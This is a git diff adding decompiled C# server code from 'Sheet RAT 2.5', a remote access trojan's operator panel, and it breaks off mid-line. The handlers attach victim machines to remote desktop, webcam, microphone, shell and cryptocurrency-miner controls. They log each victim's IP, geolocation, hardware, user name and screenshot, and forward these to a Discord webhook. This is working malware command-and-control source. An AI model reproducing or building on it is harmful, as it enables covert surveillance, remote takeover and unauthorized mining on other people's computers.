33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerConnectMessage +{ + public HandlerConnectMessage(Clients client, string[] Messages) + { + client.ID = Messages[1]; + FormMessage CT = (FormMessage) Application.OpenForms["Message:" + client.ID]; + if (CT == null) + client.Disconnected(); + else + CT.Invoke((MethodInvoker) (() => + { + CT.Plugin = client; + FormMessage formMessage = CT; + formMessage.Text = $"{formMessage.Text}: {client.ID}"; + CT.Refresh(); + CT.timer1.Start(); + CT.Parrent.LastPiy = DateTime.Now; + })); + } +} +} diff --git a/Server/Server/Message/HandlerConnectMicrophone.cs b/Server/Server/Message/HandlerConnectMicrophone.cs new file mode 100644 index 0000000..bcce42f --- /dev/null +++ b/Server/Server/Message/HandlerConnectMicrophone.cs @@ -0,0 +1,37 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerConnectMicrophone +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerConnectMicrophone +{ + public HandlerConnectMicrophone(Clients client, string[] Messages) + { + client.ID = Messages[1]; + FormRemoteMicrophone audiorecord = (FormRemoteMicrophone) Application.OpenForms["Microphone:" + client.ID]; + if (audiorecord == null) + client.Disconnected(); + else if (audiorecord.Plugin2 != null) + client.Disconnected(); + else + audiorecord.Invoke((MethodInvoker) (() => + { + audiorecord.Plugin2 = client; + FormRemoteMicrophone remoteMicrophone = audiorecord; + remoteMicrophone.Text = $"{remoteMicrophone.Text}: {client.ID}"; + audiorecord.timer1.Start(); + audiorecord.Refresh(); + })); + } +} +} diff --git a/Server/Server/Message/HandlerConnectMiner.cs b/Server/Server/Message/HandlerConnectMiner.cs new file mode 100644 index 0000000..49b76cc --- /dev/null +++ b/Server/Server/Message/HandlerConnectMiner.cs @@ -0,0 +1,54 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerConnectMiner +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerConnectMiner +{ + public HandlerConnectMiner(Clients client, string[] Messages) + { + client.ID = Messages[1]; + if (!Program.form.MinerActive) + { + client.Disconnected(); + } + else + { + client.LastPiy = DateTime.Now; + client.ItemMiner = new DataGridViewRow(); + client.ItemMiner.Tag = (object) client; + client.ID = Messages[1]; + DataGridViewCellCollection cells1 = client.ItemMiner.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell1 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell1.Value = (object) client.Ip; + cells1.Add((DataGridViewCell) gridViewTextBoxCell1); + DataGridViewCellCollection cells2 = client.ItemMiner.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell2 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell2.Value = (object) client.ID; + cells2.Add((DataGridViewCell) gridViewTextBoxCell2); + DataGridViewCellCollection cells3 = client.ItemMiner.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell3 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell3.Value = (object) Messages[2]; + cells3.Add((DataGridViewCell) gridViewTextBoxCell3); + DataGridViewCellCollection cells4 = client.ItemMiner.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell4 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell4.Value = (object) Messages[3]; + cells4.Add((DataGridViewCell) gridViewTextBoxCell4); + client.TimeOutStart(); + Program.form.Miner.Grid1.Invoke((MethodInvoker) (() => Program.form.Miner.Grid1.Rows.Add(client.ItemMiner))); + if (!(Program.form.Miner.Start.Text == "Stop")) + return; + client.Send((object) ("Start<@>" + Program.form.Miner.args)); + } + } +} +} diff --git a/Server/Server/Message/HandlerConnectMinerXmr.cs b/Server/Server/Message/HandlerConnectMinerXmr.cs new file mode 100644 index 0000000..ad68aeb --- /dev/null +++ b/Server/Server/Message/HandlerConnectMinerXmr.cs @@ -0,0 +1,72 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerConnectMinerXmr +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using System; +using System.Windows.Forms; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerConnectMinerXmr +{ + public HandlerConnectMinerXmr(Clients client, string[] Messages) + { + client.ID = Messages[1]; + if (!Program.form.MinerActiveXmr) + { + client.Disconnected(); + } + else + { + client.MiningEtc = false; + client.LastPiy = DateTime.Now; + client.ItemMiner = new DataGridViewRow(); + client.ItemMiner.Tag = (object) client; + client.ID = Messages[1]; + DataGridViewCellCollection cells1 = client.ItemMiner.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell1 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell1.Value = (object) client.Ip; + cells1.Add((DataGridViewCell) gridViewTextBoxCell1); + DataGridViewCellCollection cells2 = client.ItemMiner.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell2 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell2.Value = (object) client.ID; + cells2.Add((DataGridViewCell) gridViewTextBoxCell2); + DataGridViewTextBoxCell gridViewTextBoxCell3 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell3.Value = (object) Messages[2]; + DataGridViewTextBoxCell gridViewTextBoxCell4 = gridViewTextBoxCell3; + if (Messages[2] == "true") + gridViewTextBoxCell4.Style.ForeColor = Color.Green; + else + gridViewTextBoxCell4.Style.ForeColor = Color.Red; + DataGridViewTextBoxCell gridViewTextBoxCell5 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell5.Value = (object) Messages[3]; + DataGridViewTextBoxCell gridViewTextBoxCell6 = gridViewTextBoxCell5; + if (Messages[3] == "true") + gridViewTextBoxCell6.Style.ForeColor = Color.Green; + else + gridViewTextBoxCell6.Style.ForeColor = Color.Red; + client.ItemMiner.Cells.Add((DataGridViewCell) gridViewTextBoxCell4); + client.ItemMiner.Cells.Add((DataGridViewCell) gridViewTextBoxCell6); + DataGridViewCellCollection cells3 = client.ItemMiner.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell7 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell7.Value = (object) Messages[4]; + cells3.Add((DataGridViewCell) gridViewTextBoxCell7); + DataGridViewCellCollection cells4 = client.ItemMiner.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell8 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell8.Value = (object) Messages[5]; + cells4.Add((DataGridViewCell) gridViewTextBoxCell8); + client.TimeOutStart(); + Program.form.MinerXmr.Grid1.Invoke((MethodInvoker) (() => Program.form.MinerXmr.Grid1.Rows.Add(client.ItemMiner))); + if (!(Program.form.MinerXmr.Start.Text == "Stop")) + return; + client.Send((object) ("Start<@>" + Program.form.MinerXmr.args)); + } + } +} +} diff --git a/Server/Server/Message/HandlerConnectNetstat.cs b/Server/Server/Message/HandlerConnectNetstat.cs new file mode 100644 index 0000000..da2dba5 --- /dev/null +++ b/Server/Server/Message/HandlerConnectNetstat.cs @@ -0,0 +1,36 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerConnectNetstat +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerConnectNetstat +{ + public HandlerConnectNetstat(Clients client, string[] Messages) + { + client.ID = Messages[1]; + FormNetStat CT = (FormNetStat) Application.OpenForms["Netstat:" + client.ID]; + if (CT == null) + client.Disconnected(); + else + CT.Invoke((MethodInvoker) (() => + { + CT.Plugin = client; + CT.timer1.Start(); + FormNetStat formNetStat = CT; + formNetStat.Text = $"{formNetStat.Text}: {client.ID}"; + CT.Refresh(); + CT.client.LastPiy = DateTime.Now; + })); + } +} +} diff --git a/Server/Server/Message/HandlerConnectRemoteCamera.cs b/Server/Server/Message/HandlerConnectRemoteCamera.cs new file mode 100644 index 0000000..eb8124a --- /dev/null +++ b/Server/Server/Message/HandlerConnectRemoteCamera.cs @@ -0,0 +1,57 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerConnectRemoteCamera +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerConnectRemoteCamera +{ + public HandlerConnectRemoteCamera(Clients client, string[] Messages) + { + client.ID = Messages[1]; + FormRemoteCamera webcam = (FormRemoteCamera) Application.OpenForms["Webcam:" + client.ID]; + try + { + if (webcam == null) + client.Disconnected(); + else + webcam.Invoke((MethodInvoker) (() => + { + webcam.PluginClient = client; + FormRemoteCamera formRemoteCamera = webcam; + formRemoteCamera.Text = $"{formRemoteCamera.Text}: {client.ID}"; + string message = Messages[2]; + char[] chArray = new char[1]{ ',' }; + foreach (string str in message.Split(chArray)) + { + if (!string.IsNullOrWhiteSpace(str)) + webcam.comboBox1.Items.Add((object) str); + } + webcam.comboBox1.SelectedIndex = 0; + if (webcam.comboBox1.Text == "None") + { + client.Disconnected(); + webcam.Close(); + } + else + { + webcam.timer1.Start(); + webcam.Refresh(); + } + })); + } + catch + { + } + } +} +} diff --git a/Server/Server/Message/HandlerConnectRemoteDesktop.cs b/Server/Server/Message/HandlerConnectRemoteDesktop.cs new file mode 100644 index 0000000..e828882 --- /dev/null +++ b/Server/Server/Message/HandlerConnectRemoteDesktop.cs @@ -0,0 +1,38 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerConnectRemoteDesktop +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerConnectRemoteDesktop +{ + public HandlerConnectRemoteDesktop(Clients client, string[] Messages) + { + client.ID = Messages[1]; + FormRemoteDesktop RD = (FormRemoteDesktop) Application.OpenForms["RemoteDesktop:" + client.ID]; + if (RD == null) + client.Disconnected(); + else if (RD.PluginClient != null) + client.Disconnected(); + else + RD.Invoke((MethodInvoker) (() => + { + FormRemoteDesktop formRemoteDesktop = RD; + formRemoteDesktop.Text = $"{formRemoteDesktop.Text}: {Messages[1]}"; + RD.numericUpDown2.Maximum = (Decimal) (Convert.ToInt32(Messages[2]) - 1); + RD.PluginClient = client; + RD.timer1.Start(); + RD.Refresh(); + })); + } +} +} diff --git a/Server/Server/Message/HandlerConnectRemoteDesktopSound.cs b/Server/Server/Message/HandlerConnectRemoteDesktopSound.cs new file mode 100644 index 0000000..beb71be --- /dev/null +++ b/Server/Server/Message/HandlerConnectRemoteDesktopSound.cs @@ -0,0 +1,30 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerConnectRemoteDesktopSound +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerConnectRemoteDesktopSound +{ + public HandlerConnectRemoteDesktopSound(Clients client, string[] Messages) + { + client.ID = Messages[1]; + FormRemoteDesktop RD = (FormRemoteDesktop) Application.OpenForms["RemoteDesktop:" + client.ID]; + if (RD == null) + client.Disconnected(); + else if (RD.PluginClientSound != null) + client.Disconnected(); + else + RD.Invoke((MethodInvoker) (() => RD.PluginClientSound = client)); + } +} +} diff --git a/Server/Server/Message/HandlerConnectService.cs b/Server/Server/Message/HandlerConnectService.cs new file mode 100644 index 0000000..333e7ab --- /dev/null +++ b/Server/Server/Message/HandlerConnectService.cs @@ -0,0 +1,36 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerConnectService +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerConnectService +{ + public HandlerConnectService(Clients client, string[] Messages) + { + client.ID = Messages[1]; + FormService CT = (FormService) Application.OpenForms["Service:" + client.ID]; + if (CT == null) + client.Disconnected(); + else + CT.Invoke((MethodInvoker) (() => + { + CT.Plugin = client; + CT.timer1.Start(); + FormService formService = CT; + formService.Text = $"{formService.Text}: {client.ID}"; + CT.Refresh(); + CT.client.LastPiy = DateTime.Now; + })); + } +} +} diff --git a/Server/Server/Message/HandlerConnectShell.cs b/Server/Server/Message/HandlerConnectShell.cs new file mode 100644 index 0000000..9254eab --- /dev/null +++ b/Server/Server/Message/HandlerConnectShell.cs @@ -0,0 +1,38 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerConnectShell +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerConnectShell +{ + public HandlerConnectShell(Clients client, string[] Messages) + { + client.ID = Messages[1]; + FormShell Shell = (FormShell) Application.OpenForms["Shell:" + client.ID]; + if (Shell == null) + client.Disconnected(); + else if (Shell.PluginClient != null) + client.Disconnected(); + else + Shell.Invoke((MethodInvoker) (() => + { + Shell.PluginClient = client; + FormShell formShell = Shell; + formShell.Text = $"{formShell.Text}:{client.ID}"; + Shell.timer1.Start(); + Shell.Refresh(); + Shell.ParrentClient.LastPiy = DateTime.Now; + })); + } +} +} diff --git a/Server/Server/Message/HandlerConnectSpeakBot.cs b/Server/Server/Message/HandlerConnectSpeakBot.cs new file mode 100644 index 0000000..e70b519 --- /dev/null +++ b/Server/Server/Message/HandlerConnectSpeakBot.cs @@ -0,0 +1,46 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerConnectSpeakBot +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Text; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerConnectSpeakBot +{ + public HandlerConnectSpeakBot(Clients client, string[] Messages) + { + client.ID = Messages[1]; + FormSpeakBot SpeakBot = (FormSpeakBot) Application.OpenForms["SpeakBot:" + client.ID]; + if (SpeakBot == null) + client.Disconnected(); + else if (SpeakBot.client != null) + client.Disconnected(); + else + SpeakBot.Invoke((MethodInvoker) (() => + { + SpeakBot.client = client; + FormSpeakBot formSpeakBot = SpeakBot; + formSpeakBot.Text = $"{formSpeakBot.Text}:{client.ID}"; + string str1 = Encoding.UTF8.GetString(Convert.FromBase64String(Messages[2])); + char[] chArray = new char[1]{ '&' }; + foreach (string str2 in str1.Split(chArray)) + { + if (!string.IsNullOrEmpty(str2) && str2 != null) + SpeakBot.comboBox1.Items.Add((object) str2); + } + SpeakBot.timer1.Start(); + SpeakBot.Refresh(); + SpeakBot.ParentClient.LastPiy = DateTime.Now; + })); + } +} +} diff --git a/Server/Server/Message/HandlerConnectTaskMgr.cs b/Server/Server/Message/HandlerConnectTaskMgr.cs new file mode 100644 index 0000000..6630d52 --- /dev/null +++ b/Server/Server/Message/HandlerConnectTaskMgr.cs @@ -0,0 +1,36 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerConnectTaskMgr +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerConnectTaskMgr +{ + public HandlerConnectTaskMgr(Clients client, string[] Messages) + { + client.ID = Messages[1]; + FormTaskMgr CT = (FormTaskMgr) Application.OpenForms["TaskMgr:" + client.ID]; + if (CT == null) + client.Disconnected(); + else + CT.Invoke((MethodInvoker) (() => + { + CT.Plugin = client; + CT.timer1.Start(); + FormTaskMgr formTaskMgr = CT; + formTaskMgr.Text = $"{formTaskMgr.Text}: {client.ID}"; + CT.Refresh(); + CT.client.LastPiy = DateTime.Now; + })); + } +} +} diff --git a/Server/Server/Message/HandlerConnecting.cs b/Server/Server/Message/HandlerConnecting.cs new file mode 100644 index 0000000..7c8196b --- /dev/null +++ b/Server/Server/Message/HandlerConnecting.cs @@ -0,0 +1,264 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerConnecting +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Helper; +using Server.Helper.Configs; +using System; +using System.Windows.Forms; +using System.Drawing; +using System.Globalization; +using System.IO; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerConnecting +{ + public HandlerConnecting(Clients client, string[] Messages) + { + if (Messages.Length != 20) + { + Console.WriteLine("Leght != 20"); + client.Disconnected(); + } + else + { + client.Item = new DataGridViewRow(); + client.Item.Tag = (object) client; + client.ID = Messages[3]; + client.LastPiy = DateTime.Now; + Image image = (Image) null; + try + { + using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(Messages[1]))) + image = Image.FromStream((Stream) memoryStream); + } + catch (Exception ex) + { + image = (Image) new Bitmap(50, 50); + } + DataGridViewCellCollection cells1 = client.Item.Cells; + DataGridViewImageCell gridViewImageCell1 = new DataGridViewImageCell(); + gridViewImageCell1.Value = (object) new Bitmap(image, 50, 40); + gridViewImageCell1.ImageLayout = DataGridViewImageCellLayout.Stretch; + cells1.Add((DataGridViewCell) gridViewImageCell1); + DataGridViewCellCollection cells2 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell1 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell1.Value = (object) client.Ip; + cells2.Add((DataGridViewCell) gridViewTextBoxCell1); + DataGridViewCellCollection cells3 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell2 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell2.Value = (object) Messages[2]; + cells3.Add((DataGridViewCell) gridViewTextBoxCell2); + string[] strArray; + string str1; + try + { + strArray = Program.form.cGeoMain.GetIpInf(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); + str1 = strArray[1]; + } + catch + { + strArray = (string[]) null; + str1 = "Unknown"; + } + DataGridViewCellCollection cells4 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell3 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell3.Value = (object) str1; + cells4.Add((DataGridViewCell) gridViewTextBoxCell3); + DataGridViewCellCollection cells5 = client.Item.Cells; + DataGridViewImageCell gridViewImageCell2 = new DataGridViewImageCell(); + gridViewImageCell2.Value = (object) Program.form.cGeoMain.cImageList.Images[strArray[2] + ".png"]; + gridViewImageCell2.ImageLayout = DataGridViewImageCellLayout.Normal; + cells5.Add((DataGridViewCell) gridViewImageCell2); + DataGridViewCellCollection cells6 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell4 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell4.Value = (object) Messages[3]; + cells6.Add((DataGridViewCell) gridViewTextBoxCell4); + DataGridViewCellCollection cells7 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell5 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell5.Value = (object) Messages[4]; + cells7.Add((DataGridViewCell) gridViewTextBoxCell5); + DataGridViewCellCollection cells8 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell6 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell6.Value = (object) Messages[5]; + cells8.Add((DataGridViewCell) gridViewTextBoxCell6); + DataGridViewCellCollection cells9 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell7 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell7.Value = (object) Messages[6]; + cells9.Add((DataGridViewCell) gridViewTextBoxCell7); + DataGridViewCellCollection cells10 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell8 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell8.Value = (object) Messages[7]; + cells10.Add((DataGridViewCell) gridViewTextBoxCell8); + DataGridViewCellCollection cells11 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell9 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell9.Value = (object) Messages[8]; + cells11.Add((DataGridViewCell) gridViewTextBoxCell9); + DataGridViewCellCollection cells12 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell10 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell10.Value = (object) Messages[9]; + cells12.Add((DataGridViewCell) gridViewTextBoxCell10); + DataGridViewCellCollection cells13 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell11 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell11.Value = (object) Messages[10]; + cells13.Add((DataGridViewCell) gridViewTextBoxCell11); + DataGridViewCellCollection cells14 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell12 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell12.Value = (object) Messages[11]; + cells14.Add((DataGridViewCell) gridViewTextBoxCell12); + DataGridViewCellCollection cells15 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell13 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell13.Value = (object) Messages[12]; + cells15.Add((DataGridViewCell) gridViewTextBoxCell13); + DataGridViewCellCollection cells16 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell14 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell14.Value = (object) Messages[13]; + cells16.Add((DataGridViewCell) gridViewTextBoxCell14); + DataGridViewCellCollection cells17 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell15 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell15.Value = (object) Messages[14]; + cells17.Add((DataGridViewCell) gridViewTextBoxCell15); + DataGridViewCellCollection cells18 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell16 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell16.Value = (object) Messages[15]; + cells18.Add((DataGridViewCell) gridViewTextBoxCell16); + DataGridViewCellCollection cells19 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell17 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell17.Value = (object) DateTime.ParseExact(Messages[16 /*0x10*/], "dd.MM.yyyy", (IFormatProvider) CultureInfo.InvariantCulture); + cells19.Add((DataGridViewCell) gridViewTextBoxCell17); + DataGridViewCellCollection cells20 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell18 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell18.Value = (object) Messages[17]; + cells20.Add((DataGridViewCell) gridViewTextBoxCell18); + DataGridViewCellCollection cells21 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell19 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell19.Value = (object) Messages[18]; + cells21.Add((DataGridViewCell) gridViewTextBoxCell19); + DataGridViewCellCollection cells22 = client.Item.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell20 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell20.Value = (object) "..."; + cells22.Add((DataGridViewCell) gridViewTextBoxCell20); + DataGridViewTextBoxCell gridViewTextBoxCell21 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell21.Value = (object) Messages[19]; + gridViewTextBoxCell21.Style = Methods.CellStyleWindows(Messages[19]); + client.Item.Cells.Add((DataGridViewCell) gridViewTextBoxCell21); + int int32_1 = Convert.ToInt32(Messages[12].Split(' ')[0]); + int int32_2 = Convert.ToInt32(Messages[13].Split(' ')[0]); + if (int32_1 > 80 /*0x50*/) + { + client.Item.Cells[14].Style.ForeColor = Color.Red; + client.Item.Cells[14].Style.SelectionForeColor = Color.Red; + } + else if (int32_1 > 60) + { + client.Item.Cells[14].Style.ForeColor = Color.Yellow; + client.Item.Cells[14].Style.SelectionForeColor = Color.Yellow; + } + else if (int32_1 > 40) + { + client.Item.Cells[14].Style.ForeColor = Color.Green; + client.Item.Cells[14].Style.SelectionForeColor = Color.Green; + } + else + { + client.Item.Cells[14].Style.ForeColor = Color.Lime; + client.Item.Cells[14].Style.SelectionForeColor = Color.Lime; + } + if (int32_2 > 60) + { + client.Item.Cells[15].Style.ForeColor = Color.Red; + client.Item.Cells[15].Style.SelectionForeColor = Color.Red; + } + else if (int32_2 > 40) + { + client.Item.Cells[15].Style.ForeColor = Color.Yellow; + client.Item.Cells[15].Style.SelectionForeColor = Color.Yellow; + } + else if (int32_2 > 20) + { + client.Item.Cells[15].Style.ForeColor = Color.Green; + client.Item.Cells[15].Style.SelectionForeColor = Color.Green; + } + else + { + client.Item.Cells[15].Style.ForeColor = Color.Lime; + client.Item.Cells[15].Style.SelectionForeColor = Color.Lime; + } + client.Info = $"{Messages[3]} {Messages[4]} {Messages[5]} {Messages[6]}"; + client.Window = Messages[19]; + client.TimeOutStart(); + HandlerLogs handlerLogs = new HandlerLogs(client.Ip, $"Connect Client {Messages[3]} {Messages[4]} {Messages[5]} {Messages[6]} active window: {Messages[19]}", Color.Lime); + CustomConsole.WriteLine(CustomConsole.Title.Connect, $"Connect Client {client.Ip} {Messages[3]} {str1}"); + Program.form.GridClients.Invoke((MethodInvoker) (() => Program.form.GridClients.Rows.Add(client.Item))); + if (!Directory.Exists("Users\\" + client.ID)) + { + AutoTaskM.StartTrigger(client, false, true); + if (Program.form.toogleNotyfiNewClient.Checked) + Program.form.notf.AddItem((Bitmap) image, (Bitmap) Program.form.cGeoMain.cImageList.Images[strArray[2] + ".png"], $"New Client\n IP:{client.Ip}\n HWID:{Messages[3]}\n User/pc: {Messages[4]}/{Messages[5]}\n Group: {Messages[2]}", "\n Window:" + Messages[19]); + if (Program.form.DiscordWebHook.Checked && Program.form.DiscordNotifyNewClient.Checked) + DiscordWebhook.SendFile($"\n\n\uD83C\uDF43 Sheet rat\nconnect new client\nHost {client.Ip}\nUserName {Messages[4]}\nGroup {Messages[2]}\nhwid {Messages[3]}\nCPU {Messages[8]}\nGPU {Messages[9]}\nRAM {Messages[10]}\nGPU RAM {Messages[11]}\nWindows {Messages[14]}\nWindow Active {Messages[19]}\nFlag :flag_{strArray[2].ToLower()}:\nScreen", "Screen.jpg", "jpg", Convert.FromBase64String(Messages[1]), ""); + Directory.CreateDirectory("Users\\" + client.ID); + } + else + { + if (Program.form.toogleNotyfiClient.Checked) + Program.form.notf.AddItem((Bitmap) image, (Bitmap) Program.form.cGeoMain.cImageList.Images[strArray[2] + ".png"], $"Client \n IP:{client.Ip}\n HWID:{Messages[3]}\n User/pc: {Messages[4]}/{Messages[5]}\n Group: {Messages[2]}", "\n Window:" + Messages[19]); + if (Program.form.DiscordWebHook.Checked && Program.form.DiscordNotifyClient.Checked) + DiscordWebhook.SendFile($"\n\n\uD83C\uDF43 Sheet rat\nconnect client\nHost {client.Ip}\nUserName {Messages[4]}\nGroup {Messages[2]}\nhwid {Messages[3]}\nCPU {Messages[8]}\nGPU {Messages[9]}\nRAM {Messages[10]}\nGPU RAM {Messages[11]}\nWindows {Messages[14]}\nWindow Active {Messages[19]}\nFlag :flag_{strArray[2].ToLower()}:\nScreen", "Screen.jpg", "jpg", Convert.FromBase64String(Messages[1]), ""); + AutoTaskM.StartTrigger(client, false, false); + } + File.WriteAllText($"Users\\{client.ID}\\Info_{Messages[4]}_{Messages[5]}.txt", $"Sheet Rat\nIP: {client.Ip}\nHWID: {Messages[3]}\nGroup: {Messages[2]}\nUser: {Messages[4]}\nMachineName: {Messages[5]}\nComputer: 